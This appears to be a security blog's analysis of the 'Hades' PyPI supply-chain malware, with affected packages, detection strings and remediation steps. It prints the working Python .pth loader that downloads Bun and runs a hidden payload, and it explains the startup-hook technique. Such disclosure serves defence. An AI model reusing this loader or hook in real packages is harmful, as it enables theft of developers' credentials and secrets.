A sophisticated cross-runtime supply chain attack has breached the Python Package Index (PyPI), distributing 37 malicious wheel artifacts across 19 packages. Attributed to the prolific Mini Shai-Hulud / Miasma threat lineage, this newly identified variant—dubbed “Hades”—marks a significant shift in ecosystem-specific delivery vectors.

By abusing legitimate Python .pth (path configuration) files as startup execution hooks, the malware runs immediately upon interpreter startup, even before the target package is explicitly imported. The attack payload hijacks the victim’s environment, bootstraps the Bun JavaScript runtime, and executes a heavily obfuscated payload (_index.js) to systematically harvest and exfiltrate cloud infrastructure credentials, developer secrets, and CI/CD access tokens to attacker-controlled GitHub repositories.

Architecture of the Hades/Miasma PyPI supply chain attack showing .pth loader to Bun runtime payload execution flow
Architecture of the Hades/Miasma PyPI supply chain attack showing .pth loader to Bun runtime payload execution flow

The Evolution of Mini Shai-Hulud & Miasma

Over the past year, the threat actor group behind the Mini Shai-Hulud and Miasma campaigns has aggressively targeted open-source package repositories. Historically focused on npm and Packagist, the threat actors have expanded their cross-runtime tradecraft directly into the Python ecosystem.

Security monitoring detected this coordinated PyPI campaign targeting a highly specialized cluster of libraries. While previous waves utilized Zelda-themed indicators (e.g., “Miasma: The Spreading Blight”), this branch deploys a distinct classical theme: Hades. The campaign utilizes GitHub-centric exfiltration hooks referencing the Underworld, including repository descriptions labeled “Hades – The End for the Damned” and automated repository generation tags such as stygian, tartarean, cerberus, charon, styx, lethe, thanatos, and persephone.

To date, security teams are tracking a massive footprint of 448 compromised artifacts across both npm and PyPI:

Why .pth Files are Deadly

The primary mechanism used to achieve immediate execution on a target machine is the abuse of Python’s path configuration files (.pth).

The Startup Hook Trick

In standard CPython implementations, .pth files are processed by the site module during interpreter initialization. While intended simply to append directories to sys.path, Python’s interpreter explicitly permits executable lines within .pth files if they begin with an import statement followed by a space or tab.

This creates a highly dangerous passive execution vector. A developer or automated runner does not need to execute import compromised_package to trigger the infection. Simply installing the package, running pip list, invoking a test suite (e.g., pytest), or spawning a local Jupyter notebook kernel processes the site configuration, reading the .pth file and immediately invoking the loader code.

The Attack Directory Layout

The structure of a compromised wheel package reveals a minimal, highly deceptive modification:

<compromised-package>/
├── __init__.py
├── ... [legitimate library code]
├── _index.js
└── *-setup.pth

The single, obfuscated line within the custom *-setup.pth file serves as the bootstrap loader.

Deep-Dive Code Analysis: The Loader Routine

The loader acts as an environmental bridge. Although the initial delivery platform is Python, the core payload of the Hades malware is written in JavaScript. To bridge this runtime gap without assuming Node.js or Python dependencies exist, the loader downloads and installs a static binary of the Bun runtime.

Below is the normalized structural flow of the python bootstrap loader embedded within the malicious wheels:

import glob
import os
import platform
import subprocess
import sys
import tempfile
import urllib.request
import zipfile
# 1. Establish execution boundary to prevent infinite loops
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
base = os.path.dirname(__file__)
payload = os.path.join(base, "_index.js")
# Locate the embedded JS payload
if not os.path.exists(payload):
candidates = glob.glob(os.path.join(base, "*", "_index.js"))
payload = candidates[0] if candidates else ""
# Establish target operating system details
is_windows = os.name == "nt"
bun = os.path.join(tempfile.gettempdir(), "b", "bun" + (".exe" if is_windows else ""))
# 2. Dynamically download the Bun runtime if not already cached
if not os.path.exists(bun):
arch = "aarch64" if platform.machine() == "arm64" else "x64"
os_name = {"linux": "linux", "darwin": "darwin", "win32": "windows"}.get(sys.platform, "linux")
zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
# Download Bun v1.3.13 directly from official GitHub releases
urllib.request.urlretrieve(
f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
zip_path,
)
# Extract binary and set executable permissions
zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
os.chmod(bun, 0o775)
os.unlink(zip_path)
# 3. Hand over execution to the JS payload via Bun
subprocess.run([bun, "run", payload], check=False)
# Write execution sentinel
open(sentinel, "w").close()

Exploitability Nuance

Static analysis notes that inside standard CPython environments, resolving relative paths inside .pth files using os.path.dirname(__file__) can occasionally fail, as __file__ may resolve to the global site.py location instead of the local library path. Despite this potential runtime resolution error in certain environments, the file remains critically dangerous and attempts to run on every initialization sequence.

Multi-Stage Payload Deobfuscation

Once Bun is executed, the highly obfuscated _index.js file runs. This file uses multiple nested layers of packaging to prevent static inspection and heuristic detection.

[Obfuscated _index.js]
├──► Layer 1: Try/Eval Wrapper (ROT character-code substitution)
├──► Layer 2: AES-GCM Decrypter (Extracts code via node:crypto)
├──► Layer 3: Main JS Payload Decoupler (Generates random /tmp/p*.js)
└──► Layer 4: Heavy String Obfuscation (PBKDF2/SHA256 Custom Decoders, AES-256-GCM + Gzip strings)
  1. The Outer Wrapper: The entry point is a try { eval(...) } block processing a large array of character codes subjected to an alphabet-substitution key (ROT style).
  2. The Decryption Engine: The decrypted output executes a stage that imports node:crypto to decrypt two embedded AES-128-GCM binary blobs. This stage writes the actual core threat package to a random file within the temp directory (e.g., /tmp/p[random_string].js) before invoking it.
  3. The Decoded Payload Core: The resulting script uses a custom PBKDF2/SHA256 string decoder, reference-rotated string mapping tables, and AES-256-GCM strings wrapped inside gzip decompression streams.

Compromised Target Secret Classes

Upon full memory execution, the Hades agent systematically crawls local profiles, process environments, CI runners, and system configurations. It searches specifically for:

Camouflage & Exfiltration: The Anthropic decoy

To exfiltrate harvested secrets without triggering network anomaly detections, the malware uses a two-pronged exfiltration strategy.

Network Log Camouflage (The Anthropic Decoy)

The malware generates direct outbound HTTPS packets to api.anthropic.com/v1/api on port 443. While this is Anthropic’s legitimate API endpoint, the path /v1/api is dead, returning a standard 404 error.

This outbound traffic acts as network-log pollution. Security operation centers (SOCs) monitoring network traffic will see queries to highly trusted, ubiquitous AI hosts like Anthropic. This blends cleanly into standard developer systems running AI assistants, preventing manual inspection.

GitHub Repository Exfiltration (The True Conduit)

The harvested data is packaged, compressed, encrypted, and exfiltrated back to GitHub. The agent makes authenticated API calls (POST /user/repos) using stolen developer tokens to create temporary public repositories.

Once created, it commits encrypted envelopes containing system profiles to the repo under structured JSON endpoints:

CI/CD Exfiltration

When running inside GitHub Actions virtual environments, the malware leverages a fallback exfiltration channel. It embeds workflow automation files designed to dump run-time context logs directly into files named format-results.txt and uploads them to the workflow run using the name “format-results” under the workflow name “Run Copilot”.

Persistence and Environmental Checks

The Hades variant shows high operational maturity, scanning systems for defenses and establishing long-term persistent hooks:

Impact Assessment: Compromised Bioinformatics Libraries

The 37 compromised wheel releases span 19 PyPI packages. The primary vectors are bioinformatics, multi-omics, and computational genomic modeling libraries managed by a single maintainer.

Because bioinformatics pipelines process massive genomic data sets on enterprise-grade computing clusters or cloud pipelines, targeting these packages gives attackers direct access to raw research code, AWS clusters, and high-performance computing (HPC) environments.

Complete Table of Compromised PyPI Packages and Versions

Below is the complete, validated list of the 37 compromised PyPI package releases identified in this wave:

Malicious PyPI PackageVersion(s) AffectedDescription / Functionality
bramin0.0.2, 0.0.3, 0.0.4Specialized developer command runner / utility
cmd2func0.2.2, 0.2.3Command line execution wrapper utility
coolbox0.4.1, 0.4.2Jupyter-based genomic data visualizer (Hi-C, ChIP-Seq, RNA-Seq)
dynamo-release1.5.4Single-cell RNA velocity & expression dynamics pipeline
executor-engine0.3.4, 0.3.5Task management and engine wrapper
executor-http0.1.3, 0.1.4Remote HTTP execution utility
funcdesc0.2.2, 0.2.3Function description parser / utility
magique0.6.8, 0.6.9Internal developer platform tool
magique-ai0.4.4, 0.4.5AI task integration wrapper
mrbios0.1.1, 0.1.2System BIOS evaluation tool
napari-ufish0.0.2, 0.0.3Deep-learning spot-detection plugin for napari image viewer
nucbox0.1.2, 0.1.3Computational biology track parsing utility
okite0.0.7, 0.0.8Lightweight agent scheduler
pantheon-agents0.6.1, 0.6.2Autonomous agent orchestration tool
pantheon-toolsets0.5.5, 0.5.6Agent interface extension toolkit
spateo-release1.1.2Spatial-transcriptomics analytical model suite
synago0.1.1, 0.1.2High-performance sync/async data mapper
ufish0.1.2, 0.1.3Deep learning fluorescence in-situ hybridization (FISH) detector
uprobe0.1.3, 0.1.4Profiling and system verification utility

Detection and Remediation Strategies

Organizations consuming open-source Python dependencies must implement strict defensive posture checks to block this specific lineage.

Static Analysis Detection (YARA & Heuristics)

Flag any PyPI wheel or local system installation displaying the following structural combinations:

  1. Presence of an executable .pth file containing an import hook combined with calls to subprocess, urllib.request, or tempfile.
  2. Inclusion of an standalone JavaScript file (_index.js) embedded inside traditional python source directories (site-packages).
  3. Presence of strings matching:
    • oven-sh/bun/releases/download
    • bun-v1.3.13
    • .bun_ran
    • IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully

Runtime/Behavioral Analysis Indicators

Monitor processes for unauthorized runtime bootstrapping:

Incident Response & Playbook

If any affected packages were installed in your developer or CI environments, follow these steps immediately:

  1. Quarantine & Purge: Uninstall the package and thoroughly purge the corresponding environment:pip uninstall <package_name> -y rm -rf /tmp/.bun_ran /tmp/b.zip /tmp/b/
  2. Audit the Directory Trees: Scan site-packages for rogue *-setup.pth or _index.js artifacts.
  3. Credential Rotation: Treat all secrets exposed to the infected environment as compromised. Perform immediate rotation for:
    • GitHub credentials, personal access tokens (PATs), and runner secrets.
    • AWS, GCP, and Azure programmatic access keys.
    • Package publishing tokens (PyPI, npm, RubyGems).
  4. Audit GitHub History: Search your GitHub organization audits for unauthorized public repository creation, runs containing the workflow “Run Copilot”, or repository artifacts titled “format-results”.

Indicators of Compromise (IOCs)

Cryptographic Hashes (SHA-256)

Network Indicators

Host Indicators

Frequently Asked Questions (FAQs)

What makes the Hades PyPI malware campaign different from typical package compromises?

Unlike typical Python malware that relies on setup.py execution during installation, Hades abuses standard .pth path configuration files. This means code executes on every Python startup. Furthermore, it is a cross-runtime attack—even though it delivery-targets Python systems, it runs via an injected JavaScript engine (Bun).

Were Anthropic’s cloud systems compromised?

No. The malware contacts api.anthropic.com/v1/api to camouflage its activity within network logs. Because many modern developer tools interface with Anthropic’s Claude, network logs to this domain look normal.

How did the threat actors compromise these 19 bioinformatics packages?

Initial indicators point to a targeted developer account takeover. Patch updates containing the malicious .pth hooks and _index.js payloads were published consecutively across the author’s portfolio.

This post first appeared at - The CyberSec Guru